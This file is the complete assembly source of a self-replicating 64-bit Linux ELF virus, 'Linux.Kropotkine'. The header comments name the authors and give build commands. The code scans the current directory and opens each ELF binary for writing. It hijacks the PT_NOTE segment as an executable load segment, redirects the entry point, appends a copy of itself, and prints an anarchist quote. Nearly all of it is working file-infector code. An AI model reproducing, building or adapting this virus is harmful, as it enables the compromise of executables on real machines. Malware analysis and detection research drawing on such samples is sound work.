MalwareSourceCode/Linux/Linux.Kropotkine.asm
2020-11-03 23:41:32 -06:00

399 lines
12 KiB
NASM

;####################################
;## A 64 bit ELF virus ##
;## By S01den and Sblip ##
;####################################
; This non-destructive (all data is recoverable) Proof of Concept vx infects Position Independant Executables, and is written in pure assembly.
; It works on traditional ELF binaries, as well as those with --separate-code (4 PT_LOAD segments)
; Enjoy the reading ;)
; Don t spread this into the wild
; we don t take responsibility for what you do with this
;.____ .__ ________ _____ ____ __. __ __ .__
;| | |__| ____ / _____/ / | | | |/ _|______ ____ ______ _____/ |_| | _|__| ____ ____
;| | | |/ \/ __ \ / | |_ | < \_ __ \/ _ \\____ \ / _ \ __\ |/ / |/ \_/ __ \
;| |___| | | \ |__\ \/ ^ / | | \ | | \( <_> ) |_> > <_> ) | | <| | | \ ___/
;|_______ \__|___| /\_____ /\____ | /\ |____|__ \|__| \____/| __/ \____/|__| |__|_ \__|___| /\___ >
; \/ \/ \/ |__| \/ \/ |__| \/ \/ \/
; Infection through PT_NOTE infection. Made with love by S01den and Sblip
; The payload prints a random quote of Peter Kropotkin (an anarcho-communist philosopher)
;#################################### USEFUL LINKS ###############################
;# https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/ #
;# https://github.com/Binject/binjection/blob/master/bj/inject_elf.go#L139 #
;# https://filippo.io/linux-syscall-table/ #
;# https://theanarchistlibrary.org/library/petr-kropotkin-the-conquest-of-bread #
;#################################################################################
; Build command: nasm -f elf64 kropotkine.s ; ld kropotkine.o -o kropotkine
; long live to the vx scene and Hasta siempre !
;---------------------------------- CUT HERE ----------------------------------
; some structs, thanks https://en.wikipedia.org/wiki/Executable_and_Linkable_Format !
struc STAT
.st_dev resq 1
.st_ino resq 1
.st_nlink resq 1
.st_mode resd 1
.st_uid resd 1
.st_gid resd 1
.pad0 resb 4
.st_rdev resq 1
.st_size resq 1
.st_blksize resq 1
.st_blocks resq 1
.st_atime resq 1
.st_atime_nsec resq 1
.st_mtime resq 1
.st_mtime_nsec resq 1
.st_ctime resq 1
.st_ctime_nsec resq 1
endstruc
struc e_hdr
.magic resd 1 ; 0x7F followed by ELF(45 4c 46) in ASCII; these four bytes constitute the magic number.
.class resb 1 ; This byte is set to either 1 or 2 to signify 32- or 64-bit format, respectively.
.data resb 1 ; This byte is set to either 1 or 2 to signify little or big endianness, respectively. This affects interpretation of multi-byte fields starting with offset 0x10.
.elf_version resb 1 ; Set to 1 for the original and current version of ELF.
.os resb 1 ; Identifies the target operating system ABI.
.abi_version resb 1
.padding resb 7 ; currently unused, should be filled with zeros. <--------- that will be the place where we will put out signature
.type resb 2 ; Identifies object file type.
.machine resb 2 ; Specifies target instruction set architecture.
.e_version resb 4 ; Set to 1 for the original version of ELF.
.entry resq 1 ; this is the entry point
.phoff resq 1 ; Points to the start of the program header table.
.shoff resq 1 ; Points to the start of the section header table.
.flags resb 4 ; Interpretation of this field depends on the target architecture.
.ehsize resb 2 ; Contains the size of this header, normally 64 Bytes for 64-bit and 52 Bytes for 32-bit format.
.phentsize resb 2 ; Contains the size of a program header table entry.
.phnum resb 2 ; Contains the number of entries in the program header table.
.shentsize resb 2 ; Contains the size of a section header table entry.
.shnum resb 2 ; Contains the number of entries in the section header table.
.shstrndx resb 2 ; Contains index of the section header table entry that contains the section names.
.end resb 1
endstruc
struc e_phdr
.type resb 4 ; Identifies the type of the segment. (The number which interest us are: 0 = PT_NULL | 1 = PT_LOAD | 2 = PT_DYNAMIC | 4 = PT_NOTE)
.flags resd 1 ; Segment-dependent flags (position for 64-bit structure).
.offset resq 1 ; Offset of the segment in the file image.
.vaddr resq 1 ; Virtual address of the segment in memory.
.paddr resq 1 ; On systems where physical address is relevant, reserved for segments physical address.
.filesz resq 1 ; Size in bytes of the segment in the file image.
.memsz resq 1 ; Size in bytes of the segment in memory.
.align resq 1 ; 0 and 1 specify no alignment. Otherwise should be a positive, integral power of 2, with p_vaddr equating p_offset modulus p_align.
.end resb 1
endstruc
struc e_shdr
.name resb 4 ; An offset to a string in the .shstrtab section that represents the name of this section.
.type resb 4 ; Identifies the type of this header.
.flags resq 1 ; Identifies the attributes of the section.
.addr resq 1 ; Virtual address of the section in memory, for sections that are loaded.
.offset resq 1 ; Offset of the section in the file image.
.size resq 1 ; Size in bytes of the section in the file image.
.link resb 4
.info resb 4
.addralign resq 1 ; Contains the required alignment of the section.
.entsize resq 1 ; Contains the size, in bytes, of each entry, for sections that contain fixed-size entries.
.end resb 1
endstruc
%define VXSIZE 0x508
%define BUFFSIZE 1024
section .text
global _start
_start:
mov r14, rsp
add rsp, VXSIZE
mov r15, rsp
getVirus: ; first we get the vx code (thanks to the same method I used in Linux.Proudhon.i386)
call get_eip
sub rax, 0x12
mov cl, byte [rax+rbx]
mov byte [rsp+rbx], cl
inc rbx
cmp rbx, VXSIZE
jne getVirus
call clean
add rsp, VXSIZE
add rsp, VXSIZE
add rsp, 0x100
jmp getdot
main:
pop rdi
mov rax, 2 ; open syscall
xor rsi,rsi ; flags = rdonly
syscall ; and awaaaaay we go
; we use the stack to hold dirents
mov rdi, rax
mov rax, 217
mov rsi, rsp
mov rdx, BUFFSIZE
syscall
cmp rax, 0
jl exit
mov r13, rax
xor rbx, rbx
loop:
mov rax, rsp
add rax, 0x13 ; d_name
; write the name
mov rsi, rax
mov rdi, 1
xor rcx, rcx
mov cl, byte [rsp+0x12] ; rcx now contains the type of data (directory or file)
push rbx
call infect
pop rbx
mov ax, [rsp+0x10] ; the buffer position += d_reclen
add rbx, rax
add rsp, rax
cmp rbx, r13
jl loop
jmp exit
infect:
mov rbp, rsp
cmp rcx, 0x8 ; check if the thing we will try to inject is a file or a directory (0x4 = dir | 0x8 = file)
jne end
; open the file
mov rdi, rsi
mov rax, 2
mov rsi, 0x402 ; RW mode
syscall
cmp rax, 0
jng end
mov rbx, rax
; stat the file to know its length
mov rsi, rsp
sub rsi, r13
mov rax, 4
syscall
; mmap the file
mov r8, rbx ; the fd
mov rsi, [rsi+STAT.st_size] ; the len
mov rdi, 0 ; we write this shit on the stack
mov rdx, 6 ; protect RW = PROT_READ (0x04) | PROT_WRITE (0x02)
xor r9, r9 ; r9 = 0 <=> offset_start = 0
mov r10, 0x1 ; flag = MAP_SHARED
xor rax, rax
mov rax, 9 ; mmap syscall number
syscall
; rax now contains the addr where the file is mapped
cmp dword [rax+e_hdr.magic], 0x464c457f ; check if the file is an ELF
je get_bits
end:
mov rax, 3 ; close
mov rdi, rbx
syscall
xor rax, rax
; epilogue
mov rsp, rbp
ret
get_bits: ; check if the binary is 64 bits
cmp byte [rax+e_hdr.class], 2
je check_signature
jmp end
check_signature:
cmp dword [rax+e_hdr.padding], 0xdeadc0de ; the signature (to check if a file is already infected)
jne parse_phdr
xor rax, rax
; epilogue
mov rsp, rbp
ret
parse_phdr:
xor rcx, rcx
xor rdx, rdx
mov cx, word [rax+e_hdr.phnum] ; rcx contains the number of entries in the program header table
mov rbx, qword [rax+e_hdr.phoff] ; rbx contains the offset of the program header table
mov dx, word [rax+e_hdr.phentsize] ; rdx contains the size of an entry in the program header table
loop_phdr:
add rbx, rdx
dec rcx
cmp dword [rax+rbx+e_phdr.type], 0x4
je pt_note_found
cmp rcx, 0
jg loop_phdr
pt_note_found:
; Now, we finally infect the file !
mov dword [rax+e_hdr.padding], 0xdeadc0de ; write the signature of the virus
mov dword [rax+rbx+e_phdr.type], 0x01 ; change to PT_LOAD
mov dword [rax+rbx+e_phdr.flags], 0x07 ; Change the memory protections for this segment to allow executable instructions (0x07 = PT_R | PT_X | PT_W)
mov r9, 0xc000000
add r9, rsi ; the new entry point (= a virtual address far from the end of the original program)
mov r12, qword [rax+e_hdr.entry] ; save the OEP in r12
mov qword [rax+e_hdr.entry], r9
mov qword [rax+rbx+e_phdr.vaddr], r9
; here we write the code to resolve and return to the OEP
; FUCK THE PIE !!
; read "Note on resolving Elf_Hdr->e_entry in PIEexecutables" from elfmaster (https://bitlackeys.org/papers/pocorgtfo20.pdf)
mov rcx, r15
add rcx, VXSIZE
mov dword [rcx], 0xffffeee8 ; relative call to get_eip
mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
mov byte [rcx+8], 0x00000005
mov word [rcx+11], 0x0002d48
mov qword [rcx+13], r9 ; sub rax, entry0
mov word [rcx+17], 0x0000548
mov qword [rcx+19], r12 ; add rax, sym._start
mov dword [rcx+23], 0xfff4894c ; movabs rsp, r14
mov word [rcx+27], 0x00e0 ; jmp rax
mov rdi, qword [rax+rbx+e_phdr.filesz] ; p.Filesz += injectSize
add rdi, VXSIZE
mov qword [rax+rbx+e_phdr.filesz], rdi
mov rdi, qword [rax+rbx+e_phdr.memsz] ; p.Memsz += injectSize
add rdi, VXSIZE
mov qword [rax+rbx+e_phdr.memsz], rdi
mov qword [rax+rbx+e_phdr.offset], rsi ; p.Off = uint64(fsize)
mov rdx, 4
mov rdi, rax
mov rax, 26
syscall ; msync syscall: apply the change to the file
mov rax, 11
syscall ; munmap
mov rdi, r8
mov rsi, r15
mov rdx, VXSIZE
add rdx, 46
mov rax, 1 ; write the vx
syscall
mov rax, 3 ; close
syscall
; epilogue
mov rsp, rbp
ret
payload:
mov rax, 201 ; time syscall
xor rdi, rdi
syscall
xor rdx, rdx ; get the modulo 10
mov rcx, 0x9
div rcx
mov rax, rdx
inc rax
xor rcx, rcx
xor rbx, rbx
jmp pushQuote
get_quote:
pop rsi
loop_quote:
mov byte bl, [rsi]
inc rcx
cmp rcx, rax
je print_quote
add rsi, rbx
jmp loop_quote
print_quote:
xor rdx, rdx
mov rax, 1 ; print the quote
mov rdi, 1
mov byte dl, [rsi]
dec dl
inc rsi
syscall
ret
exit:
call payload
call clean
call get_eip
add rax, 0x29c ; go to the restore OEP code
jmp rax
clean:
xor rcx, rcx
xor rbx, rbx
xor rax, rax
xor rdx, rdx
ret
pushQuote:
call get_quote
db 36,'Well-being for all is not a dream.',10
db 65,'The hopeless dont revolt, because revolution is an act of hope.',10
db 47,'here there is authority, there is no freedom.',10
db 61,'Prisons are universities of crime, maintained by the state.',10
db 68,'Poverty, the existence of the poor, was the first cause of riches.',10
db 63,'Revolutions, we must remember, are always made by minorities.',10
db 39,'Variety is life, uniformity is death.',10
db 70,'It is futile to speak of liberty as long as economic slavery exists.',10
db 16,'All is for all',10
db 162,'In the long run the practice of solidarity proves much more advantageous to the species than the development of individuals endowed with predatory inclinations.',10
dw 0x0
get_eip:
mov rax, [rsp]
ret
getdot:
call main
db '.'
dw 0x0
eof:
mov rax, 60
xor rdi, rdi
syscall
;--------------------------------------------------------------------------------------------------------------------------